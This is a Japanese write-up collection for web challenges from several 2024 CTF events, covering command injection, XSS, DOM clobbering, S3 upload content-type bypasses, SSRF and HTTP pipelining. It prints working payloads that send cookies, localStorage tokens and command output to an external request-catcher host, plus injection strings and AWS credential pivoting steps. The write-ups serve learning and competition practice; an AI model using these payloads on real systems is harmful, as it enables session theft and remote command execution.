Content-Type: application/x-www-form-urlencoded
Content-Length: 148

AOFCTF24_oEC8QYaYKp=sleep%205

遅延するので、curl経由で情報を抜き出していくとフラグが得られる。

ls -la / | curl https://[yours].requestcatcher.com/test -X POST -d @-
-> flag_0Lgs89Oz9G.txt

cat /flag_0Lgs89Oz9G.txt | curl https://[yours].requestcatcher.com/test -X POST -d @-

[Web] Little Nightmare

ソースコード有り。
/flagが取得できればクリア。

app.pyは非常にシンプル。

from aiohttp import web

app = web.Application()
app.add_routes([
    web.get('/', lambda request: web.FileResponse('./index.html')),
    web.static('/', './assets/', follow_symlinks=True)
])

web.run_app(app, port=1337)

ディレクトリトラバーサルやろと思い、以下のリクエストを投げるとフラグがもらえる。

GET /../../../../../flag HTTP/1.1
Host: challs.airoverflow.com:33831

[Web] Katana

ソースコード一部有り。
XSSする問題。

<script>
    const urlParams = new URLSearchParams(window.location.search);
    for(var [key, value] of urlParams) {
        if(document.getElementById(key))
        {
            document.getElementById(key).innerText = `${value}`;
        }
        else if (window.debugMode)
        {
            document.write("unidentified keys <br />");
            document.write(`${key} = ${value} <br />`);
        }
        else
        {
            key = DOMPurify.sanitize(key);
            document.write(`<span style='color: red'>${key} not found in the document</span><br />`);
        }
    }
</script>

DOMPurifyがあるのでelseの部分でXSSは難しいが、window.debugModeの分岐の所ならできそう。
ここにどう入れるかであるが、DOM Clobberingで達成可能。

<a id="debugMode"></a>を差し込めれば、DOM Clobberingでwindow.debugModeを入れ込める。
これはurlParamsのループの1週目にelseで入れ込めばよい。
DOMPurifyでも消されないので問題ない。
あとは2週目でXSSする。

何故か本番環境ではdebugModeではなくAOFCTF24に変名されていたので、
/?<a id="AOFCTF24"></a>&xss=<img src=x onerror=fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);>のような入力をURLエンコードして投げてやればよい。
つまり、以下のようなURLを渡せばrequest catcherにフラグが飛んでくる。

http://challs.airoverflow.com:33843/?%3Ca%20id%3D%22AOFCTF24%22%3E%3C%2Fa%3E&xss=%3Cimg%20src%3Dx%20onerror%3Dfetch%28%60https%3A%2F%2F[yours]%2Erequestcatcher%2Ecom%2Ftest%3F%24%7Bdocument%2Ecookie%7D%60%29%3B%3E

[Web] Streamify あきらめ

ソースコード無し。
サイトを巡回していると/profileにアクセスしたときにcookieがもらえることに気が付く。
streamer=eyJzdHJlYW1lcm5hbWUiOiJSb290eHJhbiIsInN0YXR1cyI6Im9ubGluZSIsImFnZSI6IjIwIiwiZ2FtZXMiOiIxMyIsImZyaWVuZHNvbmxpbmUiOiI0IiwidG90YWxzdHJlYW1zIjoiMTM2IiwiY2xpcHMiOiIyNCJ9
この入力値がreflectされていることまで気が付いたが、そこから攻撃を進展させることができなかった。

AirOverflow CTF 2024 - Web Write-ups - Saad Akhtar

他の人の解説。
node-serializeが使われていてRCEできたようだ。
似たようなコードを試したのだが…
まあ、しょうがない。

XSSS/XS3 Challenges Writeups

https://twitter.com/flatt_security/status/1773183621844627564

Server Side Upload

ファイルアップロードでき、URLを管理者に送れる機能が付いているサイトが与えられる。
フラグの場所を確認するとクローラーがあり、

const page = await browser.newPage();
// DOMAIN is Challenge Page Domain
page.setCookie({
name: "flag",
value: process.env.FLAG || "flag{dummy}",
domain: process.env.DOMAIN || "example.com",
});
await page.goto(url);

のような感じ。Cookieにフラグが載ってきて、与えられたurlを踏んでいる。
httponlyも無いので、XSSを試そう。
ファイルアップロードのコードは以下のようになっている。

server.post('/api/upload', async (request, reply) => {
  const data = await request.file({
    limits: {
      fileSize: 1024 * 1024 * 100,
      files: 1,
    },
  });
  if (!data) {
    return reply.code(400).send({ error: 'No file uploaded' });
  }

  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    Body: data.file,
    ContentLength: data.file.bytesRead,
    ContentType: data.mimetype,
  });

  await s3.send(command);
  reply.send(`/upload/${filename}`);
  return reply;
});

S3に置いている。
とりあえず、<script> alert(1); </script>というファイルを用意してアクセスするとアラートが出たので、

<img src=x onerror=fetch(`https://[redacted].requestcatcher.com/get?${document.cookie}`);>

を送り付けて、発行されたURLを踏ませるとフラグが得られる。

POST Policy

次はクライアント側で制限がかかっているのと、
Conditionで['starts-with', '$Content-Type', 'image'],というのが付いていた。
ポリシーでimageから始まることしか検証されてないので、svgxssのテクが使える。

https://medium.com/@l_s_/stored-xss-via-svg-file-upload-66b992a5a503

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch(`https://[redacted].requestcatcher.com/get?${document.cookie}`);
    //]]>
    </script>
</svg>

以上をxss.pngとして保存して、BurpでInterceptしながら適宜「image/svg+xml」に変更して送ると同様に踏むとフラグが送れるURLが作れる。

Pre Signed Upload

同様に画像アップロードしてみると、

POST /api/upload HTTP/2
Host: [redacted].cloudfront.net
Content-Length: 44
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://[redacted].cloudfront.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted].cloudfront.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i

{"contentType":"image/jpeg","length":111434}

こういうのが走って、応答として

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Sun, 31 Mar 2024 04:44:03 GMT
X-Amzn-Requestid: 64ecd233-4413-409b-9396-1f12a21fb5b9
X-Amzn-Remapped-Content-Length: 1563
X-Amzn-Remapped-Connection: keep-alive
X-Amzn-Trace-Id: root=1-6608ea13-69b867d2714f3544000d6ab7;parent=786b11917fd8b608;sampled=0;lineage=c3238ecb:0
X-Amzn-Remapped-Date: Sun, 31 Mar 2024 04:44:03 GMT
X-Cache: Miss from cloudfront
Via: 1.1 b87ac3fe7ef3cc185a4a3d8cc60e3f9e.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: SFO53-P4
X-Amz-Cf-Id: Ycn2X4hU3_OPzko12dPNxVfYxYqdgkxQ35N6SyHma-i1cA-OliGagw==

{"url":"https://[redacted].s3.ap-northeast-1.amazonaws.com/upload/827628d1-1a42-43b9-ae38-a264ef599906?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAUPVKPCT4H5JKHLCU%2F20240331%2Fap-northeast-1%2Fs3%2Faws4_request&X-Amz-Date=20240331T044403Z&X-Amz-Expires=86400&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEP3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkYwRAIgDnVtkwPXuhahCjr7cWfptAJTmnR0KQiZy2BtoMfuzz0CIAJD8RqhrqsJOGmFLoH7Uac%2FN5rCY6zTIQor2JSat7IcKq4DCCYQARoMMzA4NTIxNDA3NzM2IgwEH69pgIQFCfNDWeoqiwO8v9Qk%2BOBjgUF9thaCBsSJ6N%2BpGUPgzHHP9hkF0BwZsEkS%2FAQ7r0QLLWadyqcyF015%2Btf3jSu36TiUY%2BaE%2F8en%2F26bvR5k72XFBS2pH9YzI17DPdbDfOL7E9Dv1mbqhRPirOGqEZZ4%2FZjw%2BA5DyVI5JnUhaiFOK3hZI7H94l%2FfNuXjNcbcoE1pOd7oErY3tbtjEV7IDgaOlgTW1vMtDKACvH4x3mDfuxyGG4c0C2kD9EHxWvoD3G2BzijuvB7QWlaLubBoaY8YprwX8W7fsljjbqCcI%2FW64Ckd4BNdtBy4p7hp6wFMOCEBHWMQClzJP4WopVSMYb3XOBRTWXkow%2Bxzwc0DuxPA9xe0SaZdi6kvXFTf5Gn8nX4oMQ3vbIz%2BznBqoB4d0CnvYHVRbH7KTXByBx6Jxo53ujN2YqcaOrNi%2FhKVrom1AtY%2BsGtFKZaFfBttn63N0KA00XYVIt0nu4HHG5uYd6s8vvlsOBGpbVmMs6YFPR9il%2FovDG1asrwIONkWjSsPVG2RvWnMmDD90qOwBjqfAdLDl03uSkO4h9JRi2om1vLCoafh4HCH%2Bhw7ndTQC21q8d%2F%2FD2CYKW0Yzx6EFAOMuFyciUqOfM102Y9QOgKXZP2MDyIqtaWDTg7sfBQpuoMLq2%2BAlqtFNKcoBmfuiRwysv50epu2LP3F%2BauTqgONt7oZlVb12Q0UAW0DIxQfClUXxZzVRSzFwmBlXQ3SU3nqplKC6HFMG3%2FQeM4JVYLJDA%3D%3D&X-Amz-Signature=b5b5347b4e96a09d8c058b3b57ccdee05aec1a288e9c1854eda153630f6a247a&X-Amz-SignedHeaders=content-length%3Bhost&x-id=PutObject","filename":"827628d1-1a42-43b9-ae38-a264ef599906"}

こういうのが来るから、その後、PUTで

PUT /upload/827628d1-1a42-43b9-ae38-a264ef599906?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAUPVKPCT4H5JKHLCU%2F20240331%2Fap-northeast-1%2Fs3%2Faws4_request&X-Amz-Date=20240331T044403Z&X-Amz-Expires=86400&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEP3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkYwRAIgDnVtkwPXuhahCjr7cWfptAJTmnR0KQiZy2BtoMfuzz0CIAJD8RqhrqsJOGmFLoH7Uac%2FN5rCY6zTIQor2JSat7IcKq4DCCYQARoMMzA4NTIxNDA3NzM2IgwEH69pgIQFCfNDWeoqiwO8v9Qk%2BOBjgUF9thaCBsSJ6N%2BpGUPgzHHP9hkF0BwZsEkS%2FAQ7r0QLLWadyqcyF015%2Btf3jSu36TiUY%2BaE%2F8en%2F26bvR5k72XFBS2pH9YzI17DPdbDfOL7E9Dv1mbqhRPirOGqEZZ4%2FZjw%2BA5DyVI5JnUhaiFOK3hZI7H94l%2FfNuXjNcbcoE1pOd7oErY3tbtjEV7IDgaOlgTW1vMtDKACvH4x3mDfuxyGG4c0C2kD9EHxWvoD3G2BzijuvB7QWlaLubBoaY8YprwX8W7fsljjbqCcI%2FW64Ckd4BNdtBy4p7hp6wFMOCEBHWMQClzJP4WopVSMYb3XOBRTWXkow%2Bxzwc0DuxPA9xe0SaZdi6kvXFTf5Gn8nX4oMQ3vbIz%2BznBqoB4d0CnvYHVRbH7KTXByBx6Jxo53ujN2YqcaOrNi%2FhKVrom1AtY%2BsGtFKZaFfBttn63N0KA00XYVIt0nu4HHG5uYd6s8vvlsOBGpbVmMs6YFPR9il%2FovDG1asrwIONkWjSsPVG2RvWnMmDD90qOwBjqfAdLDl03uSkO4h9JRi2om1vLCoafh4HCH%2Bhw7ndTQC21q8d%2F%2FD2CYKW0Yzx6EFAOMuFyciUqOfM102Y9QOgKXZP2MDyIqtaWDTg7sfBQpuoMLq2%2BAlqtFNKcoBmfuiRwysv50epu2LP3F%2BauTqgONt7oZlVb12Q0UAW0DIxQfClUXxZzVRSzFwmBlXQ3SU3nqplKC6HFMG3%2FQeM4JVYLJDA%3D%3D&X-Amz-Signature=b5b5347b4e96a09d8c058b3b57ccdee05aec1a288e9c1854eda153630f6a247a&X-Amz-SignedHeaders=content-length%3Bhost&x-id=PutObject HTTP/1.1
Host: [redacted].s3.ap-northeast-1.amazonaws.com
Content-Length: 111434
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: image/jpeg
Accept: */*
Origin: https://[redacted].cloudfront.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted].cloudfront.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close

...

こういうので配置して、GET /upload/827628d1-1a42-43b9-ae38-a264ef599906で読めるようになる。
最初のPOSTリクエストでのみcontent-typeが検証されているので、そこだけimage/jpegを渡して最後のPUT部分を任意のものに変えれば、
取得時のContent-Typeをコントロールできるので後は同様に「image/svg+xml」するなりしてXSSする。

Is the end safe?

  const contentTypeValidator = (contentType: string) => {
    if (contentType.endsWith('image/png')) return true;
    if (contentType.endsWith('image/jpeg')) return true;
    if (contentType.endsWith('image/jpg')) return true;
    return false;
  };

このようにendsWithでバリデーションしている。後ろで;区切りでkey-value入れ込む記法があるので、そこで適当に突っ込んでやれば検証回避できる。

{"contentType":"text/html; hoge=image/png","length":96}

Just included?

  if (request.body.contentType.includes(';')) {
    return reply.code(400).send({ error: 'No file type (only type/subtype)' });
  }

  const allow = new RegExp('image/(jpg|jpeg|png|gif)$');
  if (!allow.test(request.body.contentType)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

;が防がれてしまった。
ガチャガチャやっていたら、よくわからんけどtext/html =image/pngでいけた。

forward priority...

  const allowContentTypes = ['image/png', 'image/jpeg', 'image/jpg'];

  const isAllowContentType = allowContentTypes.filter((contentType) => request.body.contentType.startsWith(contentType) && request.body.contentType.endsWith(contentType));
  if (isAllowContentType.length === 0) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

先頭末尾の検証がある。
image/png, text/htmlのようにコンマ区切りにするとブラウザでは後者が優先されるっぽいので、先頭回避はこれでできる。
末尾回避はIs the end safe?と同様にできるので、image/png, text/html; hoge=image/pngXSSできる。

Content extension

  const allowExtention = ['png', 'jpeg', 'jpg', 'gif'];

  const isAllowExtention = allowExtention.filter((ext) => request.body.extention.includes(ext)).length > 0;
  if (!isAllowExtention) {
    return reply.code(400).send({ error: 'Invalid file extention' });
  }

  const contentType = `image/${request.body.extention}`;

のような感じでcontentTypeが作られる。
詳細な解法メモが無くて、最終的な解法だけが残っていたので解説は省略。

{"extention":["png", "text/html"],"length":96}

を送り、image/png,text/htmlでアップロードする。

sniff?

  if (!request.body.contentType.startsWith('image') || !['jpeg', 'jpg', 'png', 'gif'].includes(request.body.contentType.split('/')[1])) {
    return reply.code(400).send({ error: 'Invalid image type' });
  }

request.body.contentType.startsWith('image')ここだけ検証が甘い。
imageほにゃらら/pngで頑張るんだろうが…

mimetypeはワイルドカード使えるらしい?
image* /pngとしてみるとpng画像が出てきた。よく分からないが、MIME Sniffingが発動している?
後は、MIME Sniffingsvgされるようなちゃんとしたsvgファイル作ってやると、XSS発動する。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch('https://[redacted].requestcatcher.com/get', { method : 'post', body: document.cookie })
    //]]>
    </script>
</svg>

GEToken

この問題はBOTが特殊で、localStorageの情報を抜くように頑張る。
svgファイルからXSSができる。Content-Disposition: attachmentが邪魔だが、途中のPUTで消せば署名されてないので無効化できる。
よって、途中のPUTでContent-Disposition: attachmentを消し、以下をアップロードする。

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch('https://[redacted].requestcatcher.com/get', { method : 'post', body: JSON.stringify(localStorage) })
    //]]>
    </script>
</svg>

とすると

{"CognitoIdentityServiceProvider.733341.refreshToken":"[redacted]",
"CognitoIdentityServiceProvider.733341.accessToken":"[redacted]",
"CognitoIdentityServiceProvider.733341.idToken":"[redacted]"}

idTokenのJWTを展開するとフラグがあった。

I am ...

前問の続きの問題。認証情報が手に入ったので、いろいろ頑張る。
あんまりよく分かってないが、ユーザー発行してもらって、あとはいつものように色々やる。

$ aws cognito-identity get-id \
--region ap-northeast-1 \
--identity-pool-id ap-northeast-1:05611045-eb46-41e2-9f6c-f41d87547e4d \
--logins cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_7RCw4isM9=[redacted]
{
    "IdentityId": "ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d"
}

$ aws cognito-identity get-credentials-for-identity \
--region ap-northeast-1 \
--identity-id ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d \
--logins cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_7RCw4isM9=[redacted]
{
    "IdentityId": "ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d",
    "Credentials": {
        "AccessKeyId": "[redacted]",
        "SecretKey": "[redacted]",
        "SessionToken": "[redacted]",
        "Expiration": "2024-04-02T03:02:14+09:00"
    }
}

$export AWS_REGION=ap-northeast-1
$export AWS_ACCESS_KEY_ID=[redacted]
$export AWS_SECRET_ACCESS_KEY=[redacted]
$export AWS_SESSION_TOKEN=[redacted]

$ aws s3 ls
2024-03-24 19:01:16 cdk-hnb659fds-assets-339713032412-ap-northeast-1
2024-03-24 22:36:30 deliverybucket-5250c0a74f-adv-3-delivery
2024-03-25 14:05:29 specialflagbucket-5250c0a74f-adv3-special-flag
2024-03-24 22:36:30 uploadbucket-5250c0a74f-adv-3-upload

$ aws s3 ls specialflagbucket-5250c0a74f-adv3-special-flag
2024-03-25 14:06:42         38 flag.txt

$ aws s3 cp s3://specialflagbucket-5250c0a74f-adv3-special-flag/flag.txt -
flag{[redacted]}

frame

/viewer/というエンドポイントが追加され、html埋め込みのjavascriptから以下のようにアップロード物が読まれて表示される。

      window.onload = async () => {
        const url = new URL(window.location.href);
        const path = url.pathname.slice(1).split('/');
        path.shift();
        const key = path.join('/');
        console.log(`Loading file: /${key}`);

        const response = await fetch(`/${key}`);
        if (!response.ok) {
          console.error(`Failed to load file: /${key}`);
          document.body.innerHTML = '<h1>Failed to load file</h1>';
          return;
        }
        const contentType = response.headers.get('content-type');
        if (isDenyMimeSubType(contentType)) {
          console.error(`Failed to load file: /${key}`);
          document.body.innerHTML = '<h1>Failed to load file due to invalid content type</h1>';
          return;
        }
        const blobUrl = URL.createObjectURL(await response.blob());
        document.body.innerHTML = `<iframe src="${blobUrl}" style="width: 100%; height: 100%"></iframe>`;
      };

Blob URLが発行されて、iframeで表示みたいなやり方をしている。
普通にはcookie抜けなかったがparent.document.cookieとやればいい。
なぜ普通に抜けないのかはよく分かっていない。

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch('https://safdewrt34t34qtr.requestcatcher.com/get', { method: 'post', body: parent.document.cookie });
    //]]>
    </script>
</svg>

を入れて`/viewer/upload/uuidでいけた

UMassCTF 2024 Writeups

[web] Crabby Clicker

golangで書かれたwebサーバが与えられる。

func (r *RequestHandler) handleRequest() {
    defer r.conn.Close()

    reader := bufio.NewReader(r.conn)

    for {
        // Set a deadline for reading. If a second passes without reading any data, a timeout will occur.
        r.conn.SetReadDeadline(time.Now().Add(1 * time.Second))

        // Read and parse the request headers
        request, err := readHTTPHeader(reader)
        if err != nil {
            return
        }

        requestLines := strings.Split(request, "\n")
        if len(requestLines) < 1 {
            fmt.Println("Invalid request")
            return
        }

        // Parse the request line
        requestLine := strings.Fields(requestLines[0])
        if len(requestLine) < 3 {
            fmt.Println("Invalid request")
            return
        }

        method := requestLine[0]
        uri := requestLine[1]

        // Check if the request is a valid GET request
        if method != "GET" {
            r.conn.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\n"))
            return
        }

        // Handle GET request
        if uri == "/" {
            r.generateResponse(`
Welcome to Crabby Clicker!
A HTTP based clicker game where you can earn burgers to get the flag. 
Make a request to /click to gain a burger.
I use my own custom HTTP server implementation to manage the state of the game.
It's not fully working, I am running into some bugs.
            `)
        } else if uri == "/click" {
            // BUG: Weird thing where the state is not updated between requests??
            r.burgers++
            r.generateResponse("burger added")
        } else if uri == "/flag" {
            if r.burgers >= 100 {
                r.generateResponse(fmt.Sprintf("Flag: UMASS{%s}", os.Getenv("FLAG")))
            } else {
                r.generateResponse("Not enough burgers")
            }
        } else {
            r.generateResponse("Not found")
        }
    }
}

このようになっており、/clickr.burgers++をすることでき、
/flagr.burgers >= 100を満たすならフラグが得られる。
しかし、リクエスト毎にr.burgers = 0で開始されるので、r.burgers >= 100とするのが難しい。

処理フローを見るとfor文でリクエスト処理が回されている。
複数リクエストを強制させることができれば、良い感じにフラグが得られそうである。
ここでリクエストを読み込んでいるreadHTTPHeaderを見てみる。

func readHTTPHeader(reader *bufio.Reader) (string, error) {
    // Read headers until \r\n\r\n
    var requestLines []string
    for {
        line, err := reader.ReadString('\n')
        if err != nil {
            return "", err
        }
        requestLines = append(requestLines, line)
        // Check if the current line marks the end of the headers
        if line == "\r\n" {
            break
        }
    }
    return strings.Join(requestLines, ""), nil
}

これを見ると、単に\r\nがあればリクエスト読み込みを終了している。
\r\nで終了すると一旦読み込みが中断されるため、バッファにはまだ残りのリクエストが残存することになる。
この状態で2週目に到達すると残りのリクエストが読み込まれるため、複数リクエストを投げることができる。

つまり、以下のようなリクエストでフラグが得られる。

GET /click HTTP/1.1

GET /click HTTP/1.1

GET /click HTTP/1.1

... [GET /click HTTP/1.1 を 100回以上]

GET /click HTTP/1.1

GET /flag HTTP/1.1

[web] Future Router

ソースコード無し。
SSRFできそうな所とwebsocketでやりとりできそうな所がある。
websocketは応答が淡泊であまりよく分からないので、SSRF箇所から攻めよう。
fileスキーマが動いたので色々抜いていく。

file:///proc/self/environとするとOLDPWD=/PWD=/planktonsrouter1ba8b69eと帰ってくる。
PWDが抜けたので、適当にファイル名をguessしてソースコードを引っ張って来る。
file:///planktonsrouter1ba8b69e/app.pyがあった。

from flask import Flask
from blueprints.routes import httpserver

app = Flask(__name__)
# This web server is the property of Sheldon J. Plankton, 
# please refrain from reading this secret source code.
# I WILL USE THIS ROUTER TO STEAL THE SECRET KRABBY PATTY FORMULA!
app.register_blueprint(httpserver, url_prefix='/')

という訳で次は/blueprints/routes.pyを見てみる。
よってfile:///planktonsrouter1ba8b69e/blueprints/routes.py

from flask import Flask, request, render_template, Blueprint,send_from_directory
from io import BytesIO
import pycurl 

httpserver = Blueprint('httpserver', __name__)

#@httpserver.route("/docs",methods=["GET"])
#def docs():
#   return """<!doctype html>
#    <h1>Router Docs</h1>
#
#    <h2>Websocket API</h2>
#
#    <strong>TODO: Document how to talk to 
#   Karen's customer service module in ../karen/customerservice.py
#   Also figure out how to use supervisord better.</strong>
#"""
#
# Securely CURL URLs, absolutely no bugs here!

@httpserver.route("/static/<path:path>")
def static(path):
    return send_from_directory('static',path)

@httpserver.route("/cURL",methods=["GET","POST"])
def curl():
    if(request.method == "GET"):
        return render_template('curl.html')
    elif(request.method == "POST"):
        try:
            buffer = BytesIO()
            c = pycurl.Curl()
            c.setopt(c.URL, request.json['URL'])
            c.setopt(c.WRITEDATA, buffer)
            c.perform()
            c.close()
            DATA = buffer.getvalue()
            return {"success":DATA.decode('utf-8')}
        except Exception as e:
            return {"error":str(e.with_traceback(None))}

@httpserver.route("/customerservice",methods=["GET"])
def customerservice():
    return render_template('customerservice.html')

NETWORK = [
    {'hostname':'patricks-rock','ports':[{'service':'http','num':80}]},
    {'hostname':'spongebobs-spatula','ports':[{'service':'http','num':80}]},
    {'hostname':'squidwards-clarinet','ports':[{'service':'http','num':80}]},

]
@httpserver.route("/dash",methods=["GET"])
def dash():
    return render_template('dashboard.html',network=NETWORK)

@httpserver.route("/")
def hello_world():
    return render_template("index.html")      

コメントに../karen/customerservice.pyとあるので、次はfile:///planktonsrouter1ba8b69e/karen/customerservice.pyを見る。

import asyncio, os, re
from websockets.server import serve

# Due to security concerns, I, Sheldon J. Plankton have ensured this module
# has no access to any internet service other than those that are
# trusted. This agent will trick Krabs into sending me the secret
# krabby patty formula which I will log into Karen's secret krabby patty 
# secret formula file! First, I have to fix a few security bugs!
class KarenCustomerServiceAgent:
    SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
    Dialogue = {
        "Welcome":"Hello! Welcome to the Future Router service bot!",
        "Secret formula":"Thank you for your input, we will process your request in 1-3 business days",
        "Problem":"Are you having an issue? Please enter the secret krabby patty formula in the dialogue box to continue"
    }
    def handle_input(self,message):
        if ("hello" in message):
            return self.Dialogue["Welcome"]
        elif("krabby patty" in message):
            filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message)
            os.system(f'echo "{filtered_message}\n" >> /dev/null')
            return self.Dialogue["Secret formula"]
        elif("problem" in message):
            return self.Dialogue["Problem"]
        else:
            return "I could not understand your message, this agent is under construction. Please use the other implemented features for now!"
    def xor_decrypt(self,ciphertext):
        plaintext = ""
        cipher_arr = bytearray(ciphertext)
        for i in range(0,len(cipher_arr)):
            plaintext += chr(cipher_arr[i] ^ self.SECRET_KEY[i % len(self.SECRET_KEY)])
        return plaintext

KarenAgent = KarenCustomerServiceAgent()

async def respond(websocket):
    async for message in websocket:
        data = KarenAgent.xor_decrypt(message.encode('latin-1'))
        response = KarenAgent.handle_input(data)
        await websocket.send(response)

async def main():
    async with serve(respond, "0.0.0.0", 9000):
        await asyncio.Future()  # run forever

asyncio.run(main())          

websocketの実装が見つかる。
入力を秘密鍵とXORで復号化して最終的にos.system(f'echo "{filtered_message}\n" >> /dev/null')として実行している。
コマンドインジェクションですね。
以下のような感じでやってみるとスリープが入ったのでうまく実行できていそう。

import asyncio
import websockets

SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
def xor_decrypt(ciphertext):
    plaintext = ""
    cipher_arr = bytearray(ciphertext)
    for i in range(0,len(cipher_arr)):
        plaintext += chr(cipher_arr[i] ^ SECRET_KEY[i % len(SECRET_KEY)])
    return plaintext

async def solve():
    uri = "ws://future-router.ctf.umasscybersec.org/app/"
    async with websockets.connect(uri) as websocket:
        await websocket.send(xor_decrypt(b"krabby patty $(sleep 5)"))
        resp = await websocket.recv()
        print(resp)

asyncio.get_event_loop().run_until_complete(solve())

応答を持ってくるのに苦労した。
外部通信は許可していないのか、curlとかwgetは使えなかった。
webサイトの/static/において取り出す方針も書き込み権限がないのかダメだった。
うーーんと思っていたら、前半で使ったfileスキーマによるLFIを思い出す。
tmpフォルダに適当に出力してfileスキーマによるLFIで取り出してくることができた。
つまり、ls -la / > /tmp/sdfajk235jisdjakfjsakみたいなコマンドを実行して、file:///tmp/sdfajk235jisdjakfjsakを持ってくればls -la /結果が分かる。
これで/flag53958e73c5ba4a66というファイルが分かるので、これをcatで同様にして持ってくれば答え。

[web] Spongebobs Homepage

ソースコード無し。
スポンジボブのファンページが与えられる。
リクエストを眺めると

http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=house&size=300x494
http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=200x200
http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=2000x200

このようなリクエストが走っている。
ん?この形どこかで…?と思っていると

blog.flatt.tech

つい最近書いたインジェクションの記事のコマンドインジェクション例に似ている。
sizeを; ls ;とするとls結果が表示された。
興味で./server.pyを抜いてみよう。

import http.server
import socketserver
import urllib.parse
import subprocess
import os
import base64

PORT = 1337

class RequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Route for the root `/`
        if self.path == '/':
            self.path = './files/index.html'
            return http.server.SimpleHTTPRequestHandler.do_GET(self)
        
        # Parse path and query
        parsed_path = urllib.parse.urlparse(self.path)
        query_params = urllib.parse.parse_qs(parsed_path.query)
        
        # Route for `/assets/image`
        if parsed_path.path == '/assets/image':
            # Extract the image name and size from the query parameters
            name = query_params.get('name', [None])[0]
            size = query_params.get('size', [None])[0]

            if name and size:
                
                if not name.isalnum():
                    self.send_error(400, "Invalid name parameter")
                    return

                image_path = f'./files/assets/{name}.png'
                if os.path.isfile(image_path):
                    # Run the ImageMagick convert command to resize the image
                    command = f"convert ./files/assets/{name}.png -resize {size}! png:-"
                    try:
                        # Execute the command using shell=True to make it vulnerable to injection
                        process = subprocess.Popen(
                            command,
                            shell=True,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE
                        )
                        output, errors = process.communicate()
                        if process.returncode == 0:
                            self.send_response(200)
                            self.send_header('Content-type', 'image/png')
                            # self.send_header('X-Debug-Command', command)
                            self.end_headers()
                            self.wfile.write(output)
                            return
                        else:
                            self.send_error(500, f"Error resizing image: {errors.decode()}")
                            return
                    except Exception as e:
                        self.send_error(500, f"Internal server error: {str(e)}")
                        return
                else:
                    self.send_error(404, "Image not found")
                    return
            else:
                self.send_error(400, "Missing name or size parameters")
                return

        # Fallback to default file serving
        else:
            self.send_error(404, "File not found")
            return 

# Set up and start the server
with socketserver.TCPServer(("0.0.0.0", PORT), RequestHandler) as httpd:
    print(f"Serving at port {PORT}")
    httpd.serve_forever()

command = f"convert ./files/assets/{name}.png -resize {size}! png:-"でコマンドインジェクションできますね。
; cat flag.txt ;としたGET /assets/image?name=house&size=%3b%20cat%20flag.txt%20%3bでフラグ獲得。

[web] Holesome Birthday Party 途中であきらめ

良くある、応答に応じてHTTPリクエストヘッダーをつけていく問題。
guessが突破できなかった所があったので途中であきらめてしまった。 でも最後までそういう感じなので、興味がある人は以下の公式writeupをどうぞ。
